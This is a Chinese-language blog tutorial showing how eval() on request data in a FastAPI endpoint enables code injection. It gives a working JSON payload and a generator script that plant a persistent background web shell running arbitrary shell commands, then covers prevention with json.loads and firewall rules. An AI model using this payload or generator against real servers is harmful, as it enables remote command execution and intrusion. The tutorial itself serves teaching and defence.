针对`Python3`下Web框架不安全方法`eval()`的代码注入攻击

针对Python3下Web框架不安全方法eval()的代码注入攻击

概览

Python3中,使用eval()方法可以简单粗暴的把json字符串转成字典, 很多新手在刚刚入门web开发的时候常用这种方法. 但这种方法也可以用来执行一串命令, 虽然方法受到了限制比如不能在其中执行赋值语句等等.

以下是一个演示根据eval()方法不安全使用的一种攻击, 通过注入代码, 搭建一个简易的Web Shell, 为了方便, 使用FastAPI 框架进行演示, 因为其自带测试用的接口文档, 可直接在其中进行接口访问. 只需安装Python3FastAPI 模块即可复现这个例子.

原理

eval() 是 Python 的内置函数,用于动态执行字符串形式的 Python 代码。尽管 eval() 的功能强大,但其不安全性也使其成为潜在的攻击目标。当 eval() 函数用于处理用户输入或外部数据时,攻击者可以通过构造恶意代码来执行任意命令。

FastAPI服务端演示代码

这里在8001端口下/json_prase接口使用了不安全的json加载方法, 代码如下:

#server.py
import json
import os
from fastapi import FastAPI
from pydantic import BaseModel
import subprocess
import time
app = FastAPI()
'''
...

'''
class Request(BaseModel):
    request: str

@app.post('/json_prase/')
async def execute_command(request: Request):
    return eval(request.request)
import uvicorn
uvicorn.run(app,port=8001,host='0.0.0.0')		

按照正常的使用方式, 大概是这样, 也就是发一串json过去,服务端解析json,然后干一些什么事情.

image-20230505110907261

攻击

如果我发这个呢?

{
  "request": "os.system(\"echo \\\"from fastapi import FastAPI\\\\nfrom pydantic import BaseModel\\\\nimport subprocess\\\\napp = FastAPI()\\\\nclass Command(BaseModel):\\\\n    cmd: str\\\\n@app.post('/execute/')\\\\nasync def execute_command(command: Command):\\\\n    try:\\\\n        output = subprocess.check_output(command.cmd, shell=True, stderr=subprocess.STDOUT, text=True)\\\\n    except subprocess.CalledProcessError as e:\\\\n        output = e.output\\\\n    return {'output': output}\\\\nimport uvicorn\\\\nuvicorn.run(app, host='0.0.0.0', port=8000,log_level='critical')\\\" > t.py ; chmod +x t.py; python3 t.py&\")"
}

其实就是让它执行了一段代码,如下:

from fastapi import FastAPI
from pydantic import BaseModel
import subprocess
app = FastAPI()
class Command(BaseModel):
    cmd: str
@app.post('/execute/')
async def execute_command(command: Command):
    try:
        output = subprocess.check_output(command.cmd, shell=True, stderr=subprocess.STDOUT, text=True)
    except subprocess.CalledProcessError as e:
        output = e.output
    return {'output': output}
import uvicorn
uvicorn.run(app, host='0.0.0.0', port=8000,log_level='critical')

因为在eval()方法下不能执行赋值语句,不能执行导入,于是乎以写入文件在通过shell执行.

运行效果:

image-20230505112744290

直接在web的测试页面里就可以执行shell命令了, 可以看到返回的结果. 而且因为是后台运行的, 即使是关闭了也不会退出.

直接把代码手动转成字符串太费劲了, 可以先手写文件, 然后运行脚本把文件转成这种字符串.

import os
def python_file_to_string(filepath):
    with open(filepath, "r") as file:
        content = file.read()

    lines = content.split("\n")
    escaped_lines = [line.replace("\\", "\\\\").replace("\"", "\\\"") for line in lines]
    escaped_content = "\\\\n".join(escaped_lines)
    final_string = f"os.system(\"echo \\\"{escaped_content}\\\" > t.py ; chmod +x t.py; python3 t.py&\")"
    
    return final_string



app_code = python_file_to_string("fastapi_app.py")
print(app_code)

# eval(app_code)

然后把这个打印出来的字符串通过请求的方式注入到指定的接口就好了.

局限

目前, 这个漏洞的利用存在许多的局限, 如下:

  • 使用Python3
  • 在某个能被找到的接口中使用eval()方法进行解析
  • 引入了os模块
  • 防火墙放行了其它端口

预防

  1. 使用安全的json.loads()方法加载字典:
#server.py
import json
import os
from fastapi import FastAPI
from pydantic import BaseModel
import subprocess
import time
app = FastAPI()
'''
...

'''
class Request(BaseModel):
    request: str

@app.post('/json_prase/')
async def execute_command(request: Request):
    return json.loads(request.request)
import uvicorn
uvicorn.run(app,port=8001,host='0.0.0.0')				

这里看到使用后再碰到一样的请求就抛异常了,而不是直接傻乎乎的执行.

image-20230505114206864

  1. 防火墙默认不开放所有端口, 只开放需要使用的端口. 一般服务器厂商会用两重防火墙, 一层是操作系统以外的, 一层是操作系统上的.
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值